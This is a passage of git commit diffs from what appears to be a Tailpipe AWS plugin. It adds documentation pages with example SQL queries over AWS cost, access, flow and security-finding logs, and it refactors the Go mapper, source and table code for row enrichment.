limit 10; ``` -## 3. Daily Cost Trend for the Current Month +### Daily Cost Trend for the Current Month Tracks the daily expenditure trend to identify unusual cost spikes. ```sql @@ -54,7 +67,7 @@ order by tp_date; ``` -## 4. Cost Breakdown by Usage Type +### Cost Breakdown by Usage Type Breaks down costs by usage type, providing insights into specific usage patterns that may drive costs. ```sql @@ -72,7 +85,7 @@ order by total_usage_cost desc; ``` -## 5. High-Cost Operations +### High-Cost Operations Lists operations that have incurred the highest costs, which can indicate potential cost optimization areas. ```sql @@ -91,7 +104,7 @@ order by limit 10; ``` -## 6. Average Daily Cost for the Current Month +### Average Daily Cost for the Current Month Calculates the average daily cost for the current month, providing a baseline for typical daily expenditure. ```sql @@ -103,7 +116,7 @@ where tp_date >= cast(date_trunc('month', current_date) as varchar); ``` -## 7. Top Accounts by Usage Quantity +### Top Accounts by Usage Quantity Identifies the accounts with the highest usage quantity, helping to associate high usage with specific accounts. ```sql @@ -122,7 +135,7 @@ order by limit 10; ``` -## 8. High Tax Amount by Product +### High Tax Amount by Product Displays products with the highest tax amount, useful for identifying tax-heavy services. ```sql @@ -141,7 +154,7 @@ order by total_tax_amount desc; ``` -## 9. Total Credits by Account +### Total Credits by Account Shows the total credits applied to each account, helping to understand any discounts or rebates. ```sql @@ -159,7 +172,7 @@ order by total_credits desc; ``` -## 10. Cost Allocation by Product Code (Top 10) +### Cost Allocation by Product Code (Top 10) Provides a cost breakdown by product code, aiding in identifying high-cost products. ```sql @@ -178,7 +191,7 @@ order by limit 10; ``` -## 11. Highest Cost by Resource Item Description +### Highest Cost by Resource Item Description Identifies the resources or items with the highest cost based on item description to locate costly services or operations. ```sql @@ -196,7 +209,7 @@ order by limit 10; ``` -## 12. Cost Trends by Payer Account +### Cost Trends by Payer Account Shows the monthly cost trend for each payer account, useful for tracking cost changes across accounts. ```sql @@ -213,7 +226,7 @@ order by payer_account_id, month; ``` -## 13. Monthly Tax Amount by Linked Account +### Monthly Tax Amount by Linked Account Displays the monthly tax amount by linked account, helping to understand tax-related expenses. ```sql @@ -231,7 +244,7 @@ order by monthly_tax_amount desc; ``` -## 14. Top Billing Periods by Cost +### Top Billing Periods by Cost Ranks billing periods by total cost to highlight the periods with the highest spending. ```sql @@ -248,7 +261,7 @@ order by limit 10; ``` -## 15. Cost by Currency Code +### Cost by Currency Code Groups costs by currency code, which is useful in multi-currency scenarios to monitor costs in different currencies. ```sql @@ -265,7 +278,7 @@ order by total_currency_cost desc; ``` -## 16. Top 10 Product Codes by Usage Quantity +### Top 10 Product Codes by Usage Quantity Identifies product codes with the highest usage quantities, offering insights into frequently used services. ```sql @@ -283,7 +296,7 @@ order by limit 10; ``` -## 17. Cost by Seller of Record +### Cost by Seller of Record Breaks down costs by seller to understand charges from specific sellers of AWS products. ```sql @@ -300,7 +313,7 @@ order by total_seller_cost desc; ``` -## 18. High Blended Rate Products +### High Blended Rate Products Lists products with a high blended rate, helping to identify products with significant effective rates. ```sql @@ -319,7 +332,7 @@ order by limit 10; ``` -## 19. Invoices with Highest Cost Before Tax +### Invoices with Highest Cost Before Tax Displays invoices with the highest cost before tax, useful for analyzing specific large charges. ```sql @@ -337,7 +350,7 @@ order by limit 10; ``` -## 20. Monthly Cost Change Percentage by Product +### Monthly Cost Change Percentage by Product Calculates the month-over-month cost change percentage for each product, providing insights into spending increases or decreases. ```sql diff --git a/docs/tables/aws_elb_access_log.md b/docs/tables/aws_elb_access_log.md new file mode 100644 index 00000000..7b1989a2 --- /dev/null +++ b/docs/tables/aws_elb_access_log.md @@ -0,0 +1,31 @@ +--- +title: "Tailpipe Table: aws_elb_access_log - Query AWS Elastic Load Balancer Access Logs" +description: "Allows users to query AWS Elastic Load Balancer access logs." +--- + +# Table: aws_elb_access_log - Query AWS Elastic Load Balancer Access Logs + +*TODO*: Add description + +## Table Usage Guide + +The `aws_elb_access_log` table allows you to query data from AWS Elastic Load Balancer access logs. This table provides detailed information about client requests made to your Elastic Load Balancer, including the request time, client IP address, request method, response status code, and more. + +## Examples + +### Top Requested URLs + +Displays the top requested URLs by the number of requests, helping to identify the most frequently accessed resources. + +```sql +select + request_uri, + count(*) as request_count +from + aws_elb_access_log +group by + request_uri +order by + request_count desc +limit 10; +``` diff --git a/docs/tables/aws_guardduty_finding.md b/docs/tables/aws_guardduty_finding.md new file mode 100644 index 00000000..07d364f6 --- /dev/null +++ b/docs/tables/aws_guardduty_finding.md @@ -0,0 +1,58 @@ +--- +title: "Tailpipe Table: aws_guardduty_finding - Query AWS GuardDuty Findings" +description: "Allows users to query AWS GuardDuty findings." +--- + +# Table: aws_guardduty_finding - Query AWS GuardDuty Findings + +*TODO*: Add description + +## Table Usage Guide + +The `aws_guardduty_finding` table allows you to query data from AWS GuardDuty findings. This table provides detailed information about security findings detected by AWS GuardDuty, including the finding type, severity, resource details, and more. + +## Examples + +### Detect High Severity Findings +Flags high severity findings detected by AWS GuardDuty, which may indicate potential security threats. + +```sql +select + resource.resource_type, + resource.resource_id, + severity, + type, + title, + description, + service_action.action_type, + service_action.action_target, + service_action.evidence, + resource_details.instance_details.instance_id, + resource_details.instance_details.instance_type, + resource_details.instance_details.launch_time, + resource_details.instance_details.availability_zone, + resource_details.instance_details.image_id, + resource_details.instance_details.image_description, + resource_details.instance_details.network_interfaces, + resource_details.instance_details.tags, + resource_details.resource_role, + resource_details.resource_type, + resource_details.resource_name, + resource_details.resource_creation_time, + resource_details.resource_deletion_time, + resource_details.resource_details, + resource_details.resource_status, + resource_details.resource_status_reason, + resource_details.resource_status_reason_code, + resource_details.resource_status_reason_message, + resource_details.resource_status_reason_details, + resource_details.resource_status_reason_details_message, + resource_details.resource_status_reason_details_code, + resource_details.resource_status_reason_details_status +from + aws_guardduty_finding +where + severity >= 7 +order by + severity desc; +``` \ No newline at end of file diff --git a/docs/tables/aws_lambda_log.md b/docs/tables/aws_lambda_log.md new file mode 100644 index 00000000..b14181bc --- /dev/null +++ b/docs/tables/aws_lambda_log.md @@ -0,0 +1,31 @@ +--- +title: "Tailpipe Table: aws_lambda_log - Query AWS Lambda Logs" +description: "Allows users to query AWS Lambda logs." +--- + +# Table: aws_lambda_log - Query AWS Lambda Logs + +*TODO*: Add description + +## Table Usage Guide + +The `aws_lambda_log` table allows you to query data from AWS Lambda logs. This table provides detailed information about AWS Lambda function invocations, including the function name, request ID, duration, memory usage, and more. + +## Examples + +### Total Invocations by Function + +Calculates the total number of invocations for each AWS Lambda function to identify the most frequently invoked functions. + +```sql +select + function_name, + count(*) as invocation_count +from + aws_lambda_log +group by + function_name +order by + invocation_count desc +limit 10; +``` \ No newline at end of file diff --git a/docs/tables/aws_s3_server_access_log.md b/docs/tables/aws_s3_server_access_log.md new file mode 100644 index 00000000..1324258b --- /dev/null +++ b/docs/tables/aws_s3_server_access_log.md @@ -0,0 +1,31 @@ +--- +title: "Tailpipe Table: aws_s3_server_access_log - Query AWS S3 Server Access Logs" +description: "Allows users to query AWS S3 server access logs." +--- + +# Table: aws_s3_server_access_log - Query AWS S3 Server Access Logs + +*TODO*: Add description + +## Table Usage Guide + +The `aws_s3_server_access_log` table allows you to query data from AWS S3 server access logs. This table provides detailed information about requests made to your S3 bucket, including the request time, requestor IP address, request method, response status code, and more. + +## Examples + +### Top Requested URLs + +Displays the top requested URLs by the number of requests, helping to identify the most frequently accessed resources. + +```sql +select + request_uri, + count(*) as request_count +from + aws_s3_server_access_log +group by + request_uri +order by + request_count desc +limit 10; +``` \ No newline at end of file diff --git a/docs/tables/aws_securityhub_finding.md b/docs/tables/aws_securityhub_finding.md new file mode 100644 index 00000000..6f7c0de3 --- /dev/null +++ b/docs/tables/aws_securityhub_finding.md @@ -0,0 +1,23 @@ +--- +title: "Tailpipe Table: aws_securityhub_finding - Query AWS Security Hub Findings" +description: "Allows users to query AWS Security Hub findings." +--- + +# Table: aws_securityhub_finding - Query AWS Security Hub Findings + +*TODO*: Add description + +## Table Usage Guide + +The `aws_securityhub_finding` table allows you to query data from AWS Security Hub findings. This table provides detailed information about security findings detected by AWS Security Hub, including the finding type, severity, resource details, and more. + +## Examples + +### Placeholder Query + +```sql +select + * +from + aws_securityhub_finding; +``` diff --git a/docs/tables/aws_vpc_flow_log.md b/docs/tables/aws_vpc_flow_log.md new file mode 100644 index 00000000..a0e74858 --- /dev/null +++ b/docs/tables/aws_vpc_flow_log.md @@ -0,0 +1,31 @@ +--- +title: "Tailpipe Table: aws_vpc_flow_log - Query AWS VPC Flow Logs" +description: "Allows users to query AWS VPC flow logs." +--- + +# Table: aws_vpc_flow_log - Query AWS VPC Flow Logs + +*TODO*: Add description + +## Table Usage Guide + +The `aws_vpc_flow_log` table allows you to query data from AWS VPC flow logs. This table provides detailed information about network traffic within your VPC, including the source and destination IP addresses, ports, protocol, and more. + +## Examples + +### Top Source IP Addresses + +Displays the top source IP addresses by the number of bytes sent, helping to identify the most active sources of network traffic. + +```sql +select + srcaddr, + sum(bytes) as total_bytes_sent +from + aws_vpc_flow_log +group by + srcaddr +order by + total_bytes_sent desc +limit 10; +``` \ No newline at end of file diff --git a/docs/tables/aws_waf_traffic_log.md b/docs/tables/aws_waf_traffic_log.md new file mode 100644 index 00000000..5fdc7757 --- /dev/null +++ b/docs/tables/aws_waf_traffic_log.md @@ -0,0 +1,23 @@ +--- +title: "Tailpipe Table: aws_waf_traffic_log - Query AWS WAF Traffic Logs" +description: "Allows users to query AWS WAF traffic logs." +--- + +# Table: aws_waf_traffic_log - Query AWS WAF Traffic Logs + +*TODO*: Add description + +## Table Usage Guide + +The `aws_waf_traffic_log` table allows you to query data from AWS WAF traffic logs. This table provides detailed information about web requests that were inspected by AWS WAF, including the request time, client IP address, request method, response status code, and more. + +## Examples + +### Placeholder Query + +```sql +select + * +from + aws_waf_traffic_log; +``` \ No newline at end of file diff --git a/docs/tables/todo.md b/docs/tables/todo.md deleted file mode 100644 index dbb47889..00000000 --- a/docs/tables/todo.md +++ /dev/null @@ -1,3 +0,0 @@ -# TODO - -- Add table docs! \ No newline at end of file From 453b67e1c7447e17661e3596fe2107f158472c9b Mon Sep 17 00:00:00 2001 From: kaidaguerre Date: Tue, 10 Dec 2024 12:57:50 +0000 Subject: [PATCH 115/180] Dynamic update (#46) --- mappers/cloudtrail_mapper.go | 5 --- mappers/cost_usage_mapper.go | 6 ---- mappers/guardduty_mapper.go | 7 ---- mappers/lambda_log_mapper.go | 5 --- mappers/securityhub_finding_mapper.go | 7 ---- mappers/vpc_flow_log_mapper.go | 3 +- mappers/waf_mapper.go | 6 ---- rows/alb_access_log.go | 45 -------------------------- rows/elb_access_log.go | 4 --- sources/cloudwatch_log_group_source.go | 14 ++++---- sources/s3_bucket_source.go | 14 ++++---- sources/s3_bucket_source_config.go | 4 +++ tables/alb_access_log_table.go | 17 +++------- tables/cloudtrail_log_table.go | 10 +++--- tables/cost_usage_log_table.go | 10 +++--- tables/elb_access_log_table.go | 18 +++-------- tables/guardduty_finding_table.go | 10 +++--- tables/lambda_log_table.go | 10 +++--- tables/s3_server_access_log_table.go | 17 +++------- tables/securityhub_finding_table.go | 10 +++--- tables/vpc_flow_log_table.go | 17 +++------- tables/waf_traffic_log_table.go | 10 +++--- 22 files changed, 61 insertions(+), 188 deletions(-) diff --git a/mappers/cloudtrail_mapper.go b/mappers/cloudtrail_mapper.go index b2a24392..56dd8bd8 100644 --- a/mappers/cloudtrail_mapper.go +++ b/mappers/cloudtrail_mapper.go @@ -6,16 +6,11 @@ import ( "fmt" "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" ) type CloudTrailMapper struct { } -func NewCloudTrailMapper() table.Mapper[*rows.CloudTrailLog] { - return &CloudTrailMapper{} -} - func (m *CloudTrailMapper) Identifier() string { return "cloudtrail_mapper" } diff --git a/mappers/cost_usage_mapper.go b/mappers/cost_usage_mapper.go index 59803c72..4144a5a9 100644 --- a/mappers/cost_usage_mapper.go +++ b/mappers/cost_usage_mapper.go @@ -9,18 +9,12 @@ import ( "time" "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" ) // CostAndUsageLogMapper type CostAndUsageLogMapper struct { } -// NewCostAndUsageMapper creates a new CostAndUsageLogMapper -func NewCostAndUsageMapper() table.Mapper[*rows.CostAndUsageLog] { - return &CostAndUsageLogMapper{} -} - func (c *CostAndUsageLogMapper) Identifier() string { return "cost_and_usage_mapper" } diff --git a/mappers/guardduty_mapper.go b/mappers/guardduty_mapper.go index e8749e39..8c42adc1 100644 --- a/mappers/guardduty_mapper.go +++ b/mappers/guardduty_mapper.go @@ -9,20 +9,13 @@ import ( "time" "github.com/aws/aws-sdk-go-v2/service/guardduty/types" - "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" ) // GuardDutyMapper is a mapper that receives GuardDutyBatch objects and extracts GuardDutyFinding records from them type GuardDutyMapper struct { } -// NewGuardDutyMapper creates a new GuardDutyMapper -func NewGuardDutyMapper() table.Mapper[*rows.GuardDutyFinding] { - return &GuardDutyMapper{} -} - func (g *GuardDutyMapper) Identifier() string { return "guardduty_mapper" } diff --git a/mappers/lambda_log_mapper.go b/mappers/lambda_log_mapper.go index 109d4840..9a3e3ae4 100644 --- a/mappers/lambda_log_mapper.go +++ b/mappers/lambda_log_mapper.go @@ -8,16 +8,11 @@ import ( "time" "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" ) type LambdaLogMapper struct { } -func NewLambdaLogMapper() table.Mapper[*rows.LambdaLog] { - return &LambdaLogMapper{} -} - func (m *LambdaLogMapper) Identifier() string { return "lambda_log_mapper" } diff --git a/mappers/securityhub_finding_mapper.go b/mappers/securityhub_finding_mapper.go index 9f49c10e..babd4658 100644 --- a/mappers/securityhub_finding_mapper.go +++ b/mappers/securityhub_finding_mapper.go @@ -6,18 +6,11 @@ import ( "fmt" "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" ) type SecurityHubFindingMapper struct { } -func NewSecurityHubFindingMapper() table.Mapper[*rows.SecurityHubFinding] { - res := &SecurityHubFindingMapper{} - - return res -} - func (m *SecurityHubFindingMapper) Identifier() string { return "security_hub_finding_mapper" } diff --git a/mappers/vpc_flow_log_mapper.go b/mappers/vpc_flow_log_mapper.go index 66a50b61..a960f4a4 100644 --- a/mappers/vpc_flow_log_mapper.go +++ b/mappers/vpc_flow_log_mapper.go @@ -17,11 +17,10 @@ type VpcFlowLogMapper struct { } func NewVpcFlowLogMapper(schema []string) *VpcFlowLogMapper { - res := &VpcFlowLogMapper{ + return &VpcFlowLogMapper{ schema: schema, } - return res } func (c *VpcFlowLogMapper) Identifier() string { diff --git a/mappers/waf_mapper.go b/mappers/waf_mapper.go index 8a598e72..fca6c966 100644 --- a/mappers/waf_mapper.go +++ b/mappers/waf_mapper.go @@ -6,17 +6,11 @@ import ( "fmt" "github.com/turbot/tailpipe-plugin-aws/rows" - "github.com/turbot/tailpipe-plugin-sdk/table" ) type WafMapper struct { } -// NewWafMapper creates a new WafMapper -func NewWafMapper() table.Mapper[*rows.WafTrafficLog] { - return &WafMapper{} -} - func (c *WafMapper) Identifier() string { return "waf_mapper" } diff --git a/rows/alb_access_log.go b/rows/alb_access_log.go index 2aaa1ba3..4d207710 100644 --- a/rows/alb_access_log.go +++ b/rows/alb_access_log.go @@ -8,8 +8,6 @@ import ( "strings" "time" - "github.com/rs/xid" - "github.com/turbot/tailpipe-plugin-sdk/enrichment" ) @@ -74,10 +72,6 @@ type AlbAccessLog struct { ConnTraceID *string `json:"conn_trace_id,omitempty"` } -func NewAlbAccessLog() *AlbAccessLog { - return &AlbAccessLog{} -} - // InitialiseFromMap initializes the struct from a map of string values func (l *AlbAccessLog) InitialiseFromMap(m map[string]string) error { var err error @@ -201,42 +195,3 @@ func (l *AlbAccessLog) InitialiseFromMap(m map[string]string) error { } return nil } - -// EnrichRow handles all enrichment operations for the ALB access log entry -func (l *AlbAccessLog) EnrichRow(sourceEnrichmentFields *enrichment.CommonFields) error { - // Add source enrichment fields if provided - if sourceEnrichmentFields != nil { - l.CommonFields = *sourceEnrichmentFields - } - - // Standard record enrichment - l.TpID = xid.New().String() - l.TpTimestamp = l.Timestamp - l.TpIngestTimestamp = time.Now() - // truncate timestamp to date - l.TpDate = l.Timestamp.Truncate(24 * time.Hour) - // Use ALB name as the index - l.TpIndex = l.Alb - - // IP-related enrichment - if l.ClientIP != "" { - l.TpSourceIP = &l.ClientIP - l.TpIps = append(l.TpIps, l.ClientIP) - } - if l.TargetIP != nil { - l.TpDestinationIP = l.TargetIP - l.TpIps = append(l.TpIps, *l.TargetIP) - } - - // Domain enrichment - if l.DomainName != "" { - l.TpDomains = append(l.TpDomains, l.DomainName) - } - - // AWS resource linking - if l.TargetGroupArn != "" { - l.TpAkas = append(l.TpAkas, l.TargetGroupArn) - } - - return nil -} diff --git a/rows/elb_access_log.go b/rows/elb_access_log.go index 3a1cd811..eb348bed 100644 --- a/rows/elb_access_log.go +++ b/rows/elb_access_log.go @@ -46,10 +46,6 @@ type ElbAccessLog struct { ConnTraceID *string `json:"conn_trace_id,omitempty"` } -func NewElbAccessLog() *ElbAccessLog { - return &ElbAccessLog{} -} - // InitialiseFromMap - initialise the struct from a map func (l *ElbAccessLog) InitialiseFromMap(m map[string]string) error { var err error diff --git a/sources/cloudwatch_log_group_source.go b/sources/cloudwatch_log_group_source.go index fc98f59d..4bae3dc4 100644 --- a/sources/cloudwatch_log_group_source.go +++ b/sources/cloudwatch_log_group_source.go @@ -84,10 +84,12 @@ func (s *AwsCloudWatchSource) Collect(ctx context.Context) error { // collect events from each log stream for _, ls := range logStreamCollection { - sourceEnrichmentFields := &enrichment.CommonFields{ - TpSourceType: AwsCloudwatchSourceIdentifier, - TpSourceName: &s.Config.LogGroupName, - TpSourceLocation: ls.LogStream.LogStreamName, + sourceEnrichmentFields := &enrichment.SourceEnrichment{ + CommonFields: enrichment.CommonFields{ + TpSourceType: AwsCloudwatchSourceIdentifier, + TpSourceName: &s.Config.LogGroupName, + TpSourceLocation: ls.LogStream.LogStreamName, + }, } if ls.StartTime >= ls.EndTime { @@ -121,8 +123,8 @@ func (s *AwsCloudWatchSource) Collect(ctx context.Context) error { continue } row := &types.RowData{ - Data: event.Message, - Metadata: sourceEnrichmentFields, + Data: event.Message, + SourceEnrichment: sourceEnrichmentFields, } // update collection state diff --git a/sources/s3_bucket_source.go b/sources/s3_bucket_source.go index 9ff39951..3b969115 100644 --- a/sources/s3_bucket_source.go +++ b/sources/s3_bucket_source.go @@ -129,13 +129,15 @@ func (s *AwsS3BucketSource) DiscoverArtifacts(ctx context.Context) error { if s.Extensions.IsValid(path) { // populate enrichment fields the source is aware of // - in this case the source location - sourceEnrichmentFields := &enrichment.CommonFields{ - TpSourceType: AwsS3BucketSourceIdentifier, - TpSourceName: &s.Config.Bucket, - TpSourceLocation: &path, + sourceEnrichmentFields := &enrichment.SourceEnrichment{ + CommonFields: enrichment.CommonFields{ + TpSourceType: AwsS3BucketSourceIdentifier, + TpSourceName: &s.Config.Bucket, + TpSourceLocation: &path, + }, } - info := types.NewArtifactInfo(path, types.WithEnrichmentFields(sourceEnrichmentFields)) + info := types.NewArtifactInfo(path, types.WithSourceEnrichment(sourceEnrichmentFields)) // extract properties based on the filename var extractedProperties map[string]string @@ -196,7 +198,7 @@ func (s *AwsS3BucketSource) DownloadArtifact(ctx context.Context, info *types.Ar } // notify observers of the discovered artifact - downloadInfo := &types.ArtifactInfo{Name: localFilePath, OriginalName: info.Name, EnrichmentFields: info.EnrichmentFields} + downloadInfo := &types.ArtifactInfo{Name: localFilePath, OriginalName: info.Name, SourceEnrichment: info.SourceEnrichment} // update the collection state collectionState.Upsert(info) diff --git a/sources/s3_bucket_source_config.go b/sources/s3_bucket_source_config.go index faa632e2..98d18e4b 100644 --- a/sources/s3_bucket_source_config.go +++ b/sources/s3_bucket_source_config.go @@ -4,12 +4,16 @@ import ( "fmt" "regexp" + "github.com/hashicorp/hcl/v2" + "github.com/turbot/tailpipe-plugin-sdk/artifact_source_config" ) // AwsS3BucketSourceConfig is the configuration for an [AwsS3BucketSource] type AwsS3BucketSourceConfig struct { artifact_source_config.ArtifactSourceConfigBase + // required to allow partial decoding + Remain hcl.Body `hcl:",remain" json:"-"` Bucket string `hcl:"bucket"` Prefix *string `hcl:"prefix"` diff --git a/tables/alb_access_log_table.go b/tables/alb_access_log_table.go index a8791273..972c73dc 100644 --- a/tables/alb_access_log_table.go +++ b/tables/alb_access_log_table.go @@ -27,19 +27,12 @@ func init() { type AlbAccessLogTable struct{} -func (c *AlbAccessLogTable) initMapper() func() table.Mapper[*rows.AlbAccessLog] { - f := func() table.Mapper[*rows.AlbAccessLog] { - return table.NewDelimitedLineMapper(rows.NewAlbAccessLog, albLogFormat, albLogFormatNoConnTrace) - } - return f -} - -func (c *AlbAccessLogTable) SupportedSources(*AlbAccessLogTableConfig) []*table.SourceMetadata[*rows.AlbAccessLog] { +func (c *AlbAccessLogTable) GetSourceMetadata(_ *AlbAccessLogTableConfig) []*table.SourceMetadata[*rows.AlbAccessLog] { return []*table.SourceMetadata[*rows.AlbAccessLog]{ { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: c.initMapper(), + Mapper: table.NewRowPatternMapper[*rows.AlbAccessLog](albLogFormat, albLogFormatNoConnTrace), Options: []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), }, @@ -51,10 +44,8 @@ func (c *AlbAccessLogTable) Identifier() string { return AlbAccessLogTableIdentifier } -func (c *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.AlbAccessLog, error) { - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } +func (c *AlbAccessLogTable) EnrichRow(row *rows.AlbAccessLog, _ *AlbAccessLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.AlbAccessLog, error) { + row.CommonFields = sourceEnrichmentFields.CommonFields // Standard record enrichment row.TpID = xid.New().String() diff --git a/tables/cloudtrail_log_table.go b/tables/cloudtrail_log_table.go index ff1cd056..0ec17c9f 100644 --- a/tables/cloudtrail_log_table.go +++ b/tables/cloudtrail_log_table.go @@ -32,7 +32,7 @@ func init() { // CloudTrailLogTable - table for CloudTrailLog logs type CloudTrailLogTable struct{} -func (t *CloudTrailLogTable) SupportedSources(*CloudTrailLogTableConfig) []*table.SourceMetadata[*rows.CloudTrailLog] { +func (t *CloudTrailLogTable) GetSourceMetadata(_ *CloudTrailLogTableConfig) []*table.SourceMetadata[*rows.CloudTrailLog] { // the default file layout for CloudTrail logs in S3 defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/\\d+/CloudTrail/[a-z-0-9]+/\\d{4}/\\d{2}/\\d{2}/(?P\\d+)_CloudTrail_(?P[a-z-0-9]+)_(?P\\d{4})(?P\\d{2})(?P\\d{2})T(?P\\d{2})(?P\\d{2})Z_.+.json.gz"), @@ -49,7 +49,7 @@ func (t *CloudTrailLogTable) SupportedSources(*CloudTrailLogTableConfig) []*tabl }, { SourceName: sources.AwsCloudwatchSourceIdentifier, - MapperFunc: mappers.NewCloudTrailMapper, + Mapper: &mappers.CloudTrailMapper{}, }, } } @@ -60,11 +60,9 @@ func (t *CloudTrailLogTable) Identifier() string { } // EnrichRow implements table.Table -func (t *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.CloudTrailLog, error) { +func (t *CloudTrailLogTable) EnrichRow(row *rows.CloudTrailLog, _ *CloudTrailLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.CloudTrailLog, error) { // initialize the enrichment fields to any fields provided by the source - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } + row.CommonFields = sourceEnrichmentFields.CommonFields // Record standardization row.TpID = xid.New().String() diff --git a/tables/cost_usage_log_table.go b/tables/cost_usage_log_table.go index e46d740e..ded7958b 100644 --- a/tables/cost_usage_log_table.go +++ b/tables/cost_usage_log_table.go @@ -35,7 +35,7 @@ func (t *CostAndUsageLogTable) Identifier() string { return CostUsageLogTableIdentifier } -func (t *CostAndUsageLogTable) SupportedSources(partitionConfig *CostAndUsageLogTableConfig) []*table.SourceMetadata[*rows.CostAndUsageLog] { +func (t *CostAndUsageLogTable) GetSourceMetadata(partitionConfig *CostAndUsageLogTableConfig) []*table.SourceMetadata[*rows.CostAndUsageLog] { // TODO fix FileLayout defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("/Users/vedmisra/billing-info/(?P\\d{4})(?P\\d{2})(?P\\d{2})"), @@ -45,7 +45,7 @@ func (t *CostAndUsageLogTable) SupportedSources(partitionConfig *CostAndUsageLog { // any artifact source SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: mappers.NewCostAndUsageMapper, + Mapper: &mappers.CostAndUsageLogMapper{}, Options: []row_source.RowSourceOption{ artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine(), artifact_source.WithSkipHeaderRow()}, @@ -54,11 +54,9 @@ func (t *CostAndUsageLogTable) SupportedSources(partitionConfig *CostAndUsageLog } // EnrichRow implements table.Table -func (t *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.CostAndUsageLog, error) { +func (t *CostAndUsageLogTable) EnrichRow(row *rows.CostAndUsageLog, _ *CostAndUsageLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.CostAndUsageLog, error) { // initialize the enrichment fields to any fields provided by the source - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } + row.CommonFields = sourceEnrichmentFields.CommonFields // Record standardization row.TpID = xid.New().String() diff --git a/tables/elb_access_log_table.go b/tables/elb_access_log_table.go index 7530e6e9..d192ba06 100644 --- a/tables/elb_access_log_table.go +++ b/tables/elb_access_log_table.go @@ -27,34 +27,24 @@ const elbLogFormatNoConnTrace = `$type $timestamp $elb $client $target $request_ type ElbAccessLogTable struct{} -func (c *ElbAccessLogTable) initMapper() func() table.Mapper[*rows.ElbAccessLog] { - f := func() table.Mapper[*rows.ElbAccessLog] { - return table.NewDelimitedLineMapper(rows.NewElbAccessLog, elbLogFormat, elbLogFormatNoConnTrace) - } - return f -} - func (c *ElbAccessLogTable) Identifier() string { return ElbAccessLogTableIdentifier } -func (c *ElbAccessLogTable) SupportedSources(*ElbAccessLogTableConfig) []*table.SourceMetadata[*rows.ElbAccessLog] { +func (c *ElbAccessLogTable) GetSourceMetadata(_ *ElbAccessLogTableConfig) []*table.SourceMetadata[*rows.ElbAccessLog] { return []*table.SourceMetadata[*rows.ElbAccessLog]{ { SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: c.initMapper(), + Mapper: table.NewRowPatternMapper[*rows.ElbAccessLog](elbLogFormat, elbLogFormatNoConnTrace), Options: []row_source.RowSourceOption{ artifact_source.WithRowPerLine(), }, }, } - } -func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, sourceEnrichmentFields *enrichment.CommonFields) (*rows.ElbAccessLog, error) { - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } +func (c *ElbAccessLogTable) EnrichRow(row *rows.ElbAccessLog, _ *ElbAccessLogTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.ElbAccessLog, error) { + row.CommonFields = sourceEnrichmentFields.CommonFields // Record standardization row.TpID = xid.New().String() diff --git a/tables/guardduty_finding_table.go b/tables/guardduty_finding_table.go index bc71b5b3..80debbfd 100644 --- a/tables/guardduty_finding_table.go +++ b/tables/guardduty_finding_table.go @@ -33,7 +33,7 @@ func (c *GuardDutyFindingTable) Identifier() string { return GuardDutyFindingTableIdentifier } -func (c *GuardDutyFindingTable) SupportedSources(*GuardDutyFindingTableConfig) []*table.SourceMetadata[*rows.GuardDutyFinding] { +func (c *GuardDutyFindingTable) GetSourceMetadata(_ *GuardDutyFindingTableConfig) []*table.SourceMetadata[*rows.GuardDutyFinding] { defaultArtifactConfig := &artifact_source_config.ArtifactSourceConfigBase{ FileLayout: utils.ToStringPointer("AWSLogs(?:/o-[a-z0-9]{8,12})?/[0-9]+/GuardDuty/[a-z0-9-]+/(?P\\d{4})/(?P\\d{2})/(?P\\d{2})/[0-9a-fA-F-]+\\.jsonl\\.gz"), } @@ -41,7 +41,7 @@ func (c *GuardDutyFindingTable) SupportedSources(*GuardDutyFindingTableConfig) [ return []*table.SourceMetadata[*rows.GuardDutyFinding]{ { SourceName: constants.ArtifactSourceIdentifier, - MapperFunc: mappers.NewGuardDutyMapper, + Mapper: &mappers.GuardDutyMapper{}, Options: []row_source.RowSourceOption{ artifact_source.WithDefaultArtifactSourceConfig(defaultArtifactConfig), artifact_source.WithRowPerLine(), @@ -50,10 +50,8 @@ func (c *GuardDutyFindingTable) SupportedSources(*GuardDutyFindingTableConfig) [ } } -func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, sourceEnrichmentFields *enrichment.CommonFields) (*rows.GuardDutyFinding, error) { - if sourceEnrichmentFields != nil { - row.CommonFields = *sourceEnrichmentFields - } +func (c *GuardDutyFindingTable) EnrichRow(row *rows.GuardDutyFinding, _ *GuardDutyFindingTableConfig, sourceEnrichmentFields enrichment.SourceEnrichment) (*rows.GuardDutyFinding, error) { + row.CommonFields = sourceEnrichmentFields.CommonFields row.TpID 